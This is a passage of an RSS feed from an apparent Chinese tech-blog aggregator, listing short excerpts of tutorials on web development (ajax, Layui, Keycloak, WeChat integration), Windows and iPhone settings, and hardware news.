      <description>战争星球Online：世界争霸总是显示无法连接网络，相信大家在玩战争星球Online：世界争霸的过程中，经常会遇到这样的问题，下面ourplay小编就简单为大家介绍几种常见的解决方案。&#xA;战争星球Online：世界争霸游戏简介&#xA;战争星球Online世界争霸是一款以战争作为背景的MMO策略手游，战争星球Online世界争霸这款游戏中，你将和全球各国的玩家对弈、联盟并称霸世界！这款游戏画面极为震撼，兵种的细节表现力极为出色，全新的图形引擎打造出了极其写实的战场画面！你在游戏中将成为现代军事家，一个盛世帝国即将由你来打造，是战斗还是结盟由你选择，策略性的玩法，逼真的战场实景，让你体验无与伦比的战斗激情！&#xA;战争星球Online：世界争霸总是显示无法连接网络&#xA;造成这个问题的原因，有可能是系统不稳定(App版本过低)，也有可能是应用缓存过多。&#xA;1、升级为4G套餐后如不重启手机则无法正常使用上网功能；&#xA;2、确认是否有网络，建议您可在信号强的地方使用；&#xA;3、检查帐户是否还有话费，若余额不足则需充值后才能使用；&#xA;4、可关机3-5分钟后，重启手机再进行尝试；&#xA;5、检查USIM卡是否有插好，若已插好但还是无法使用，则建议您到营业厅检查USIM卡是否有故障，或换卡测试；&#xA;6、如当月使用流量达到封顶值会自动关闭网络，建议您留意我司短信提醒或查询套餐产品说明。&#xA;设置-应用程序-找到该应用，清除缓存试试能否打开。或者，升级该应用，问题可能会得到解决。&#xA;战争星球Online：世界争霸这个游戏整体还是挺好玩的，最近玩家反馈最多的也就是战争星球Online：世界争霸总是显示无法连接网络的问题，如果您有遇到类似问题的话，不妨可以尝试一下以上几种方法，如果其他问题请大家多多关注ourplay攻略资讯频道。</description>
    </item>
    <item>
      <title>微信公众号开发短连接服务器,midway 微信公众号（一） 接入公众号开发设置</title>
      <link>https://bchobby.github.io/posts/50000e915cbbabc24f5aeb650b0e27ff/</link>
      <pubDate>Thu, 05 Aug 2021 19:52:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/50000e915cbbabc24f5aeb650b0e27ff/</guid>
      <description>闲来无事，忽然想起以前的公众号还是在玩php的时候接入了一下，现在废弃好久了，正好使用midway构造了一个api，来尝试将api和公众号结合起来，练练手。&#xA;公众号后台接入设置&#xA;首先在公众号后太进行基本的开发配置，开发 -&amp;gt; 基本配置 -&amp;gt; 填写服务器配置，如下图所示，填入对应的URL(api的地址)、Token(算是一个自己的秘钥吧)，消息加密方式就选择土建的安全模式即可。&#xA;现在我们点击提交会告诉我们接入失败的，因为我们还没有写相关服务器的接入代码。&#xA;接入流程&#xA;首先我们看微信公众号官方文档是怎么写的，文档地址：接入指南。可以看到，当我们在公众号后台配置好开发服务器信息后，微信服务器将发送GET请求到填写的服务器地址URL上，GET请求携带参数为：&#xA;signature 微信加密签名，结合了开发者填写的token参数和请求中的timestamp参数、nonce参数。&#xA;timestamp 时间戳&#xA;nonce 随机数&#xA;echostr 随机字符串&#xA;校验信息：&#xA;将token、 timestamp、 nonce三个参数组合为数组，然后进行字典排序。&#xA;将第一步得到的数组组合为字符串，然后进行sha1加密。&#xA;将加密后的字符串与signature相比，如果相同就说明验证通过。&#xA;将echostr字符串返回。&#xA;midway 代码相关&#xA;首先我们需要构造一个路由，这个路由需要直接通过域名访问到，类似于：http://baidu.com这样访问到的路由。&#xA;1&#xA;2&#xA;3&#xA;4@get(&#39;/&#39;)&#xA;async index(ctx: IApplicationLocals) {&#xA;// pass&#xA;}&#xA;设置配置参数&#xA;公众号里面会有很多秘钥之类的参数，我们为了统一管理，在配置文件config.defualt.ts中开一个配置项来管理这些参数。目前我们用到的只有token，所以可以如下配置：&#xA;1&#xA;2&#xA;3&#xA;4// 公众号配置&#xA;config.mpWeixin = {&#xA;token: &#39;xxx&#39;,&#xA;};&#xA;在interface.ts中定义这个配置的interface：&#xA;1&#xA;2&#xA;3export interface IMpWeixin {&#xA;token: string;&#xA;}&#xA;接收参数，构造数组并字典排序&#xA;我们需要从请求中获得的参数有：signature、 nonce 、echostr 、timestamp。token我们已经配置在config.default.ts中了，直接获取即可。所以我们的代码：&#xA;1&#xA;2</description>
    </item>
    <item>
      <title>Ubuntu 20.04.2.0 LTS 中下载ftp服务器上的文件shtool-2.0.8.tar.gz</title>
      <link>https://bchobby.github.io/posts/459f50f7d6a57862c4a9b3ebaf34c3c0/</link>
      <pubDate>Thu, 05 Aug 2021 19:04:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/459f50f7d6a57862c4a9b3ebaf34c3c0/</guid>
      <description>【问题描述】&#xA;某日，需要在Ubuntu 20.04.2.0 LTS 中使用shtool，于是到官网http://www.gnu.org/software/shtool/shtool.html下载。不过，发现官网提供的是ftp服务器文件，其链接为ftp://ftp.gnu.org/gnu/shtool/shtool-2.0.8.tar.gz，于是问题就来了，即采用在windows操作系统下的操作习惯单击链接时，不弹出下载界面。&#xA;【解决方法】&#xA;在命令行输入命令：wget ftp://ftp.gnu.org/gnu/shtool/shtool-2.0.8.tar.gz&#xA;文件默认下载到Ubuntu 20.04.2.0 LTS 中的主目录中。</description>
    </item>
    <item>
      <title>2066服务器芯片组,华硕发布三款LGA2066对应工作站主机板</title>
      <link>https://bchobby.github.io/posts/e4e914f70c55b80722819aed88e11ce3/</link>
      <pubDate>Thu, 05 Aug 2021 18:57:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e4e914f70c55b80722819aed88e11ce3/</guid>
      <description>WS C422 PRO / SE是支持采用Intel C422芯片的Xeon W対応主机板。内存插槽为支持四通道的DDR 4×8，支持采用ECC或LR-DIMM的纠错功能RDIMM。内存频率支持2666/2400/2133 MHz，最大可以加载512GB大容量内存，远远超出消费类产品。&#xA;主要规格为SATA 3.0(6 Gbps)×6，M.2×2，U.1×1。扩充插槽支持PCI-Express3.0(X16)×4 ，PCI-Express3.0(x4)×1， 多显示技术支持3-Way SLI / AMD Crossfire X.&#xA;WS X299 SAGE为配备7个PCI- Express 3.0(x16)插槽，是一款相容4-Way NVIDIA SLI / AMD CrossFire X的主机板。芯片组为Intel X299，主机板架构为SSI CEB(305×267mm)。内存插槽支持DDR 4 - 4200×8，储存支持SATA 3.0(6 Gbps)×8，M.2×2，U 2.×2&#xA;WS X299 PRO / SE是配备了服务器管理芯片ASMB 9-iKVM的X299主机板。主机板架构SSI CEB(305×267mm)。内存支持DDR4-43133×8(最大128GB)插槽，储存支持SATA 3.0(6Gbps)×6，M.2×2，U.1×1。PCI-Express 3.0(x16)x 2，PCI-Express 3.0(x8 / x16形状)x 1，PCI-Express 3.0(x4 / x16形状)x 1，PCI - Express 3.0(x4) ×1。</description>
    </item>
    <item>
      <title>idea服务器部署web项目路径,IDEA 配置Tomcat服务器和发布web项目的图文教程</title>
      <link>https://bchobby.github.io/posts/7a84ef1b9f165277b4c60c7bad1c4219/</link>
      <pubDate>Thu, 05 Aug 2021 18:37:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7a84ef1b9f165277b4c60c7bad1c4219/</guid>
      <description>1.创建好web项目之后，现在需要配置服务器，以Tomcat为例&#xA;2.选择Run-Edit Configurations&#xA;3.点击右上角 + 号，选择2处展开剩下选项&#xA;4.找到Tomcat Server，然后选择Local Server&#xA;5.设置Tomcat服务器显示名，选择Configure&#xA;6.选择Tomcat在磁盘中的安装位置&#xA;7.确认之后会自动识别出Tomcat服务器&#xA;8.确定之后会自动识别出访问路径和端口&#xA;9.选择部署选项，然后点击右边的 + ，弹出的项目中选择Artfact&#xA;10.在弹出的项目中选择第二个，也就是带有：war exploded 这一项，然后确认&#xA;11.设置访问路径&#xA;/：只有斜杠就是没有项目名&#xA;/springboot：代表项目名为springboot&#xA;12.回到Server，将2处的两个都改为Update classes and resource，表示更改内容后只需要重新点击刷新即可发布，不需要重启服务器，然后确定&#xA;13.确定之后会返回主页，自动弹起服务器部署框，选择运行按钮即可运行服务器&#xA;14.启动成功之后自动打开浏览器，因为没有配置请求，所以出现错误页面，出现这个页面代表成功，接下来的操作就是开发web项目&#xA;到此这篇关于IDEA 配置Tomcat服务器和发布web项目的图文教程的文章就介绍到这了,更多相关IDEA 配置Tomcat服务器内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家！</description>
    </item>
    <item>
      <title>Ajax表单传值显示为空,解决Layui 表单提交数据为空的问题</title>
      <link>https://bchobby.github.io/posts/54f89e27439932176b66d6004699d4aa/</link>
      <pubDate>Thu, 05 Aug 2021 17:58:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/54f89e27439932176b66d6004699d4aa/</guid>
      <description>坑的外观&#xA;最近用了一段时间Layui作为项目后台管理模块的前端框架，感觉还是挺好用的。&#xA;今天踩了个坑，就是使用layui表单提交时，提交的数据为空。&#xA;例如，layer.msg(JSON.stringify(data.field));这句代码执行后，页面显示为空对象。&#xA;输入框&#xA;layui.use(&#39;form&#39;, function(){&#xA;var form = layui.form;&#xA;//监听提交&#xA;form.on(&#39;submit(formDemo)&#39;, function(data){&#xA;layer.msg(JSON.stringify(data.field));//此处显示输入内容&#xA;return false;&#xA;});&#xA;});&#xA;坑的原因&#xA;想了半天都没弄明白，最后仔细对比了示例源码和自己的代码，原来是人家Layui提交表单时是按元素的name和value准备数据的，而我为了使用jQuey处理元素方便，把name改为id。&#xA;就是这个：&#xA;改为&#xA;以上这篇解决Layui 表单提交数据为空的问题就是小编分享给大家的全部内容了，希望能给大家一个参考，也希望大家多多支持脚本之家。</description>
    </item>
    <item>
      <title>win10打印服务器纸规格没有显示,win10系统打印机设置纸张大小的操作方法</title>
      <link>https://bchobby.github.io/posts/2ee6d9f4772bd591f1703eb2c753e430/</link>
      <pubDate>Thu, 05 Aug 2021 17:55:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2ee6d9f4772bd591f1703eb2c753e430/</guid>
      <description>很多小伙伴都遇到过对win10系统打印机设置纸张大小进行设置的困惑吧，一些朋友看过网上对win10系统打印机设置纸张大小设置的零散处理方法，并没有完完全全明白win10系统打印机设置纸张大小的操作方法非常简单，只需要1、在开始菜单上单击右键，选择【控制面板】； 2、将查看方式修改为【大图标】或【小图标】，在下面点击【设备和打印机】；的顺序即可轻松搞定，具体的win10系统打印机设置纸张大小具体的操作方法：&#xA;1、在开始菜单上单击右键，选择【控制面板】；&#xA;2、将查看方式修改为【大图标】或【小图标】，在下面点击【设备和打印机】；&#xA;3、在打开的界面中，咱们首先选中窗口中的打印机，之后选择点击上方的“打印服务器属性”；&#xA;4、在打印机服务器属性窗口，切换到【纸张】规格，点击窗口最下方的“更改纸张规格设置”按钮；&#xA;5、打开后勾选【创建新纸张规格】，在【纸张规格名称】框中输入创建纸张大小名称，再在下面输入你要设置的纸张大小宽度和高度，之后咱们点击保存规格------最后点击确定保存设置即可。&#xA;6、完成设置后，在打印的属性中找到刚刚设置好的纸张规格名称，选择后打印机即可。&#xA;以上就是小编给大家分享的win10打印机设置纸张大小的方法！</description>
    </item>
    <item>
      <title>win10打印服务器纸规格没有显示,win10系统打印机添加了自定义的纸张却找不到的操作办法...</title>
      <link>https://bchobby.github.io/posts/2aa9a4437171ed1732aab6c026a64420/</link>
      <pubDate>Thu, 05 Aug 2021 17:55:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2aa9a4437171ed1732aab6c026a64420/</guid>
      <description>今天和大家分享一下win10系统打印机添加了自定义的纸张却找不到问题的解决方法，在使用win10系统的过程中经常不知道如何去解决win10系统打印机添加了自定义的纸张却找不到的问题，有什么好的办法去解决win10系统打印机添加了自定义的纸张却找不到呢？小编教你只需要1、右键点击打印机右键选择打印机首选项； 2、在文档尺寸中 选择用户自定义就可以了；下面就是我给大家分享关于win10系统打印机添加了自定义的纸张却找不到的详细步骤：：&#xA;方法一：&#xA;1、首先在打印选择纸张之小时，点击其它试试，看有没有自定义的纸张大小；&#xA;方法二：&#xA;不同的打印机驱动程序支持的纸张宽度和高度都是有范围，如果设置的纸张格式不在驱动支持范围之内，或者没有设为默认打印机和共享打印没有在主机端设置都会造成定义的纸张规格找不到的问题，所以这里小编建议更换一个驱动版本试试。&#xA;方法三：在打印机里添加自定义纸张大小&#xA;1、右键点击打印机右键选择打印机首选项；&#xA;2、在文档尺寸中 选择用户自定义；&#xA;3、然后设置纸张大小，名称，点击保存就可以了~ 并在打印机首选项是设置该纸张大小即可。&#xA;以上就是关于win10系统下打印机添加了自定义的纸张却找不到怎么解决的全部内容，有碰到同样情况的用户们可以采取上面的方法来操作即可</description>
    </item>
    <item>
      <title>php ajax ashx,jQuery_Jquery Ajax.ashx 高效分页实现代码，以前的我，用惯了 UpdatePanel Upd - phpStudy...</title>
      <link>https://bchobby.github.io/posts/99737a599ab2dea0c38927c2a421bd96/</link>
      <pubDate>Thu, 05 Aug 2021 17:31:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/99737a599ab2dea0c38927c2a421bd96/</guid>
      <description>Jquery Ajax.ashx 高效分页实现代码&#xA;以前的我，用惯了 UpdatePanel UpdateProgress 等控件，甚至到了滥用的程度，只是一味的追求无刷新，一边弄这 loading 图片 提示，这样貌似更美观，但是 感觉 更损失了性能， 而且有时候还破坏了网站的完整性。&#xA;但是学了Jquery之后，了解了 Jquery.ajax ,Jquery.get 等方法，从而学会了使用 webservice 和.ashx 文件，来与服务器交互。&#xA;这次的Jquery分页 是与 .ashx文件配合的。&#xA;建立三个.ashx，分别为PreviewHandler.ashx,PageHandler.ashx,NextHandler.ashx，分别来处理当前页，下一页，上一页的处理。&#xA;PageHandler.ashx&#xA;复制代码 代码如下:&#xA;public void ProcessRequest(HttpContext context)&#xA;{&#xA;context.Response.ContentType = &#34;text/plain&#34;;&#xA;IQueryable answer = xt.Answer.Take(10);&#xA;StringBuilder sb = new StringBuilder();&#xA;sb.Append(&#34;&#xA;回答内容回答用户名创建时间 foreach (Answer a in answer)&#xA;{&#xA;sb.Append(&#34;&#xA;&#34; + a.Answer_content + &#34;&#34; + a.Answer_UserName + &#34;&#34; + a.Answer_Creatime + &#34;&#34;); }&#xA;sb.Append(&#34;&#xA;&#34;); context.</description>
    </item>
    <item>
      <title>ajax传值令牌不起作用,Keycloak：Ajax调用过期后刷新访问令牌</title>
      <link>https://bchobby.github.io/posts/c6b7bf5c276ad1d9a9158dab1beb1eba/</link>
      <pubDate>Thu, 05 Aug 2021 16:20:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c6b7bf5c276ad1d9a9158dab1beb1eba/</guid>
      <description>我在here和here中遇到了相同的问题，但是他们没有得到回答，因此我获得了更多信息和不同的设置，因此不再重复。&#xA;我有一个spring boot 1.5.13应用程序，它使用带有keycloak 3.4.3服务器的spring安全适配器。一切正常，但是当我在5分钟后向应用程序发出ajax请求而不重新加载页面时，响应返回401错误。我知道这是因为访问令牌已过期。&#xA;文档规定以下内容：&#xA;令牌生存时间最少&#xA;在Keycloak服务器过期之前抢先刷新活动访问令牌的时间(以秒为单位)。当访问令牌发送到另一个REST客户端，在评估之前它可能过期时，这特别有用。此值不得超过域的访问令牌寿命。这是可选的。默认值为0秒，因此适配器将在访问令牌过期时刷新它。&#xA;我在keycloak.json中更改了token-minimum-time-to-live的默认值，但是我无法正常工作。&#xA;{&#xA;&#34;realm&#34;: &#34;APPS&#34;,&#xA;&#34;auth-server-url&#34;: &#34;http://localhost:9100/auth&#34;,&#xA;&#34;ssl-required&#34;: &#34;external&#34;,&#xA;&#34;resource&#34;: &#34;WebApp&#34;,&#xA;&#34;public-client&#34;: true,&#xA;&#34;confidential-port&#34;: 0,&#xA;&#34;use-resource-role-mappings&#34;: true,&#xA;&#34;principal-attribute&#34;:&#34;preferred_username&#34;,&#xA;&#34;token-minimum-time-to-live&#34; : 15&#xA;}&#xA;所以我认为我在spring安全适配器配置中缺少了一些东西：&#xA;@Configuration&#xA;@EnableWebSecurity&#xA;@ComponentScan(basePackageClasses = KeycloakSecurityComponents.class)&#xA;public class SecurityConfig extends KeycloakWebSecurityConfigurerAdapter {&#xA;@Autowired&#xA;public void configureGlobal(AuthenticationManagerBuilder auth) throws&#xA;Exception {&#xA;KeycloakAuthenticationProvider keycloakAuthenticationProvider =&#xA;keycloakAuthenticationProvider();&#xA;keycloakAuthenticationProvider.setGrantedAuthoritiesMapper(new&#xA;SimpleAuthorityMapper());&#xA;auth.authenticationProvider(keycloakAuthenticationProvider);&#xA;}&#xA;@Bean&#xA;@Override&#xA;protected SessionAuthenticationStrategy sessionAuthenticationStrategy() {&#xA;return new RegisterSessionAuthenticationStrategy(new SessionRegistryImpl());&#xA;}&#xA;@Bean</description>
    </item>
    <item>
      <title>win10无线断开无法连接服务器,win10wifi自动断开什么原因_win10wifi自动断开且无法连接如何解决...</title>
      <link>https://bchobby.github.io/posts/208f199ec53d831fee87aed83a8fd112/</link>
      <pubDate>Thu, 05 Aug 2021 15:32:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/208f199ec53d831fee87aed83a8fd112/</guid>
      <description>近日有wi10系统用户在连接wifi无线网络的时候，发现总是会自动断开，然后无法连接，许多用户并不知道这是什么原因引起，其实遇到这样的问题原因有很多，可能是网络不稳定或者一些模式设置有问题，为此本文给大家带来win10wifi自动断开且无法连接的详细解决方法吧。&#xA;解决方法如下：&#xA;1、在Windows10桌面，右键点击桌面上的“此电脑”图标，在弹出菜单中选择“属性”菜单项。&#xA;2、在打开的Win10系统设置窗口中，点击左侧边栏的“设备管理器”菜单项。&#xA;3、这时就会打开设备管理器窗口，找到并点击“网络适配器”菜单项。&#xA;4、在展开的网络适配器窗口中，找到无线网卡的驱动，然后右键点击该驱动，在弹出菜单中选择“属性”菜单项。&#xA;5、在打开的无线网卡属性窗口中，点击“电源管理”选项卡。&#xA;6、在打开的电源管理窗口中，找到并取消“允许计算机关闭此设备以节约电源”前的勾选。&#xA;7、接下来在打开的网卡属性窗口中，点击“高级”选项卡。&#xA;8、在打开的高级设置页面中，找到“无线模式”一项，把值修改为802.11b/g菜单项，最后点击确定按钮。重新启动计算机后，就不会再出现经常掉线的情况了。&#xA;关于win10wifi自动断开且无法连接的详细解决方法就给大家介绍到这边了，如果你有遇到一样情况的话，不妨可以参考上面的方法来解决吧。&#xA;我要分享到：</description>
    </item>
    <item>
      <title>React-redux-dom解决刷新页面后数据丢失的问题</title>
      <link>https://bchobby.github.io/posts/10d18c2a8918dd8cad625b4b1c688da1/</link>
      <pubDate>Thu, 05 Aug 2021 15:30:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/10d18c2a8918dd8cad625b4b1c688da1/</guid>
      <description>为什么要存储react-redux-dom中的数据？&#xA;当页面刷新之后，redux中的数据会回到初始值，之前存储到redux中的数据也就不复存在了。&#xA;在reducer文件中：&#xA;let shopDetailInfo = sessionStorage.getItem(&#39;data&#39;)?JSON.parse(sessionStorage.getItem(&#39;data&#39;)):{}; let defaultState = { data, }; export const homeData = (state = defaultState, action = {}) =&amp;gt; { switch (action.type) { case increment: let temp = {...state} temp.data = action.data; return temp; case decrement: let temp = {...state} temp.data = action.data; return temp; return default: return state; } } 判断Storage中是否有值，有值的话将Storage中的数据直接付给defaultState，页面刷新之后，由于设置了state = defaultState，页面还是会显示存储数据的。</description>
    </item>
    <item>
      <title>ajax如何给label赋值,如何让AjaxEditableLabel显示TextField？</title>
      <link>https://bchobby.github.io/posts/3ae03196c6ec0f1a27443552f79b552b/</link>
      <pubDate>Thu, 05 Aug 2021 15:24:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3ae03196c6ec0f1a27443552f79b552b/</guid>
      <description>AjaxEditableLabel task = new AjaxEditableLabel(&#34;task&#34;, new PropertyModel(getModel(), &#34;task&#34;));&#xA;现在我所要做的是在一定条件下这个AjaxEditableLabel将呈现为TextField。默认情况下，它呈现为Label。如果模型String任务为空或空白，则AjaxEditableLabel将为TextField，否则将为Label。&#xA;可能吗？&#xA;谢谢。&#xA;编辑：&#xA;AjaxEditableLabel task = new AjaxEditableLabel(&#34;task&#34;, new PropertyModel(getModel(), &#34;task&#34;)) {&#xA;private static final long serialVersionUID = 40L;&#xA;private TextField editor;&#xA;protected FormComponent newEditor(MarkupContainer parent, String componentId, IModel model) {&#xA;editor = (TextField) super.newEditor(parent, componentId, model);&#xA;Object modelObject = getDefaultModelObject();&#xA;if (modelObject == null || &#34;&#34;.equals(modelObject)) {&#xA;editor.setVisible(true);&#xA;} else {&#xA;editor.setVisible(false);&#xA;}&#xA;return editor;&#xA;}&#xA;protected WebComponent newLabel(MarkupContainer parent, String componentId, IModel model) {</description>
    </item>
    <item>
      <title>绝地求生现在服务器稳定吗,《绝地求生》国服最新消息：将采用超性能服务器...</title>
      <link>https://bchobby.github.io/posts/ce2cfde1202c200dad7f311aab2b07d3/</link>
      <pubDate>Thu, 05 Aug 2021 15:16:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ce2cfde1202c200dad7f311aab2b07d3/</guid>
      <description>《绝地求生》国服最新消息：将采用超性能服务器，任何宽带都爽玩!对于想要畅爽玩《绝地求生》国服的玩家来说，这绝对是个不错的消息。&#xA;现在，《绝地求生》官方微博表示，该游戏国服将采用超性能服务器，帮助玩家的体验更加快速稳定。同时国服还推出“全服跨运营商网络全互联”，只要是在国服，无论玩家是哪家运营商体验都基本相同。&#xA;在这份公告中官方表示，为了解决可能困扰过鸡友们的服务器连接不稳定情况，《绝地求生》国服首次使用了超性能服务器，相比于以往的普通服务器，超性能服务器单台成本提升了两倍，但是为了给所有玩家呈现一个最稳定的游戏环境和带来最卓越的性能提升，一切都是值得的。&#xA;值得一提的是，官方还强调，《绝地求生》国服不仅讲究速度，还讲究公平。我们首次推出了全服“跨运营商网络全互联”，只要你想在国服吃鸡，不管你使用的网络属于哪家运营商，统统一视同仁，游戏体验基本无差。&#xA;腾讯针对《绝地求生》国服首次开启了下载不限速功能，只要你的网速有多快，你的下载游戏的速度就有多快，理论上，无下载速度上限。&#xA;责任编辑：黑色幽默</description>
    </item>
    <item>
      <title>苹果手机怎么修改dns服务器,苹果手机怎么设置DNS iPhone8更改DNS详细图文教程</title>
      <link>https://bchobby.github.io/posts/2982b079a1fdc0cbd49f48f4b9130df5/</link>
      <pubDate>Thu, 05 Aug 2021 15:06:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2982b079a1fdc0cbd49f48f4b9130df5/</guid>
      <description>iPhone8怎么设置DNS呢？有的时候我们会发现iPhone上网速度非常慢，尤其是打开网页简直让人无法接受。对于这种情况可能存在的就是DNS设置不当导致的，那么这个时候我们可以手动设置iPhone8的DNS，从而改善网络连接问题。另外，有些时候要屏蔽某些视频广告或者提升网络安全，也可以通过设置安全DNS来解决。那么苹果手机怎么更改DNS？下面以iPhone8为例，详细介绍下DNS设置方法。&#xA;1、第一步我们依次进入到iPhone8的系统「设置」-&amp;gt;「无线局域网」设置页面，如下图所示。&#xA;2、然后点击iPhone8已经连接的WiFi网络名称后面的「i」图标，查看详细网络信息，之后就可以看到DNS选项，配置DNS，如图所示。&#xA;一般需要填写2组DNS地址，两者之间用逗号间隔。一般常用的DNS地址有8.8.8.8(谷歌全球公告DNS)，另外还有114.114.114.114等。此外，阿里公共安全DNS和百度公共DNS也可以使用。&#xA;第三步：修改完DNS，返回即可。最后打开Safari浏览器，打开网页看看是不是变快了，有些时候更换更安全稳定一些的DNS，不仅可以带来网速的提升，也能让上网更安全。&#xA;苹果今年重磅机型是全面屏iPhone X，新品iPhone 8相比上一代iPhone 7变化不大，外观上主要是由金属后壳换为了玻璃，而硬件上则主要是处理器和相机升级，另外还加入了快充/无线充电等，整体提升并不明显，但价格依然涨了。话不多说，最后一起来看看iPhone 8配置，具体如下:&#xA;苹果iPhone 8参数配置&#xA;屏幕规格&#xA;4.7 英寸1334x750 像素分辨率，326 ppi&#xA;CPU型号&#xA;苹果A11(64位六核)&#xA;RAM内存&#xA;2GB LPDDR4&#xA;ROM存储&#xA;64GB/256GB(不支持存储扩展)&#xA;相机规格&#xA;前置700万和后置1200万像素摄像头(支持IOS光学防抖)&#xA;电池容量&#xA;1821mAh(支持快充/无线充电，需单独购买)&#xA;网络制式&#xA;全网通(双卡双待)&#xA;操作系统&#xA;iOS 11&#xA;机身尺寸&#xA;138.4x67.3x7.3 mm(148g)&#xA;机身颜色&#xA;金色、银色、深空灰色(玻璃机身)&#xA;参考价格&#xA;5888元/7188元&#xA;手机特色&#xA;快充与无线充电、双面玻璃、指纹识别、NFC、防溅抗水防尘&#xA;相关阅读：&#xA;以上就是iPhone8设置DNS图文教程，希望对广大果粉爱好者朋友有所帮助，更多内容请继续关注脚本之家网站。</description>
    </item>
    <item>
      <title>ajax传值给后台action,MVC中使用Ajax提交数据 Jquery Ajax方法传值到action(示例代码)...</title>
      <link>https://bchobby.github.io/posts/5e8ab6ff299bdb6c385dd72f5023e643/</link>
      <pubDate>Thu, 05 Aug 2021 14:59:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5e8ab6ff299bdb6c385dd72f5023e643/</guid>
      <description>Jquery Ajax方法传值到action&#xA;$(document).ready(function(){&#xA;$(&#34;#btn&#34;).click(function(){&#xA;$.ajax({&#xA;type: \&#39;POST\&#39;,&#xA;url: &#34;/Home/MyAjax&#34;,&#xA;data: {&#xA;val1: $(&#34;#txt1&#34;).val(),&#xA;val2: $(&#34;#txt2&#34;).val(),&#xA;val3: $(&#34;#txt3&#34;).val(),&#xA;val4: $(&#34;#txt4&#34;).val(),&#xA;},&#xA;dataType: &#34;json&#34;&#xA;});&#xA;});&#xA;});&#xA;data是json数据。传递到的Action是/Home/MyAjax。那么在Action方法处接收的方式如下：&#xA;public ActionResult MyAjax(string val1)&#xA;{&#xA;string val2 = Request[&#34;val2&#34;].ToString();&#xA;string val3 = Request.Form[&#34;val3&#34;].ToString();&#xA;string val4 = Request.Params[&#34;val4&#34;].ToString();&#xA;return Content(&#34;ViewUserControl1&#34;);&#xA;}&#xA;或者接收参数为FormCollection，也有同样的效果。&#xA;public ActionResult MyAjax(FormCollection f)&#xA;{&#xA;string val2 = f[&#34;val2&#34;].ToString();&#xA;string val3 = f[&#34;val3&#34;].ToString();&#xA;string val4 = f[&#34;val4&#34;].ToString();&#xA;return Content(&#34;ViewUserControl1&#34;);&#xA;}&#xA;MVC3的强悍之处，是它是基于变量参数命名匹配的机制，就是说它尽可能的查找能够有相同变量名字的值。&#xA;对于上面的例子，我们甚至可以构造出一个class，如下：</description>
    </item>
    <item>
      <title>ajax请求延迟,重试一个jquery ajax请求，该请求的延迟中附加了回调</title>
      <link>https://bchobby.github.io/posts/6ab534bc1a78c8f7a861617af89f7b69/</link>
      <pubDate>Thu, 05 Aug 2021 14:47:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6ab534bc1a78c8f7a861617af89f7b69/</guid>
      <description>我正在尝试实现一个重试由于临时原因而失败的ajax请求的系统。在我的情况下，这是关于重试失败的请求，该请求带有401状态代码，因为会话已过期，然后调用了刷新会话的刷新Web服务。&#xA;问题在于成功完成重试后不会调用“完成”回调，这与调用“成功” ajax选项回调不同。我在下面做了一个简单的例子：&#xA;$.ajaxSetup({statusCode: {&#xA;404: function() {&#xA;this.url = &#39;/existent_url&#39;;&#xA;$.ajax(this);&#xA;}&#xA;}});&#xA;$.ajax({&#xA;url: &#39;/inexistent_url&#39;,&#xA;success: function() { alert(&#39;success&#39;); }&#xA;})&#xA;.done(function() {&#xA;alert(&#39;done&#39;);&#xA;});&#xA;有没有一种方法可以在成功重试后调用完成样式的回调？我知道延期后“拒绝”后就无法“解决”，是否可以防止拒绝？还是将原始延期的doneList复制到新延期？我没有主意：)&#xA;下面是一个更实际的示例，其中我试图将所有被401拒绝的请求排队，并在成功调用/ refresh之后重试它们。&#xA;var refreshRequest = null,&#xA;waitingRequests = null;&#xA;var expiredTokenHandler = function(xhr, textStatus, errorThrown) {&#xA;//only the first rejected request will fire up the /refresh call&#xA;if(!refreshRequest) {&#xA;waitingRequests = $.Deferred();&#xA;refreshRequest = $.ajax({&#xA;url: &#39;/refresh&#39;,&#xA;success: function(data) {&#xA;// session refreshed, good</description>
    </item>
    <item>
      <title>$.ajax()常用参数,JQuery中$.ajax()方法参数详解</title>
      <link>https://bchobby.github.io/posts/aa2c1d48d2b3d8ba2385d23ac36cecb6/</link>
      <pubDate>Thu, 05 Aug 2021 14:28:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aa2c1d48d2b3d8ba2385d23ac36cecb6/</guid>
      <description>url: 要求为String类型的参数，(默认为当前页地址)发送请求的地址。&#xA;type: 要求为String类型的参数，请求方式(post或get)默认为get。注意其他http请求方法，例如put和&#xA;delete也可以使用，但仅部分浏览器支持。&#xA;timeout: 要求为Number类型的参数，设置请求超时时间(毫秒)。此设置将覆盖$.ajaxSetup()方法的全局设&#xA;置。&#xA;async：要求为Boolean类型的参数，默认设置为true，所有请求均为异步请求。&#xA;如果需要发送同步请求，请将此选项设置为false。注意，同步请求将锁住浏览器，用户其他操作必须等&#xA;待请求完成才可以执行。&#xA;cache：要求为Boolean类型的参数，默认为true(当dataType为script时，默认为false)。&#xA;设置为false将不会从浏览器缓存中加载请求信息。&#xA;data: 要求为Object或String类型的参数，发送到服务器的数据。如果已经不是字符串，将自动转换为字符串格&#xA;式。get请求中将附加在url后。防止这种自动转换，可以查看processData选项。对象必须为key/value格&#xA;式，例如{foo1:&#34;bar1&#34;,foo2:&#34;bar2&#34;}转换为&amp;amp;foo1=bar1&amp;amp;foo2=bar2。如果是数组，JQuery将自动为不同&#xA;值对应同一个名称。例如{foo:[&#34;bar1&#34;,&#34;bar2&#34;]}转换为&amp;amp;foo=bar1&amp;amp;foo=bar2。&#xA;dataType: 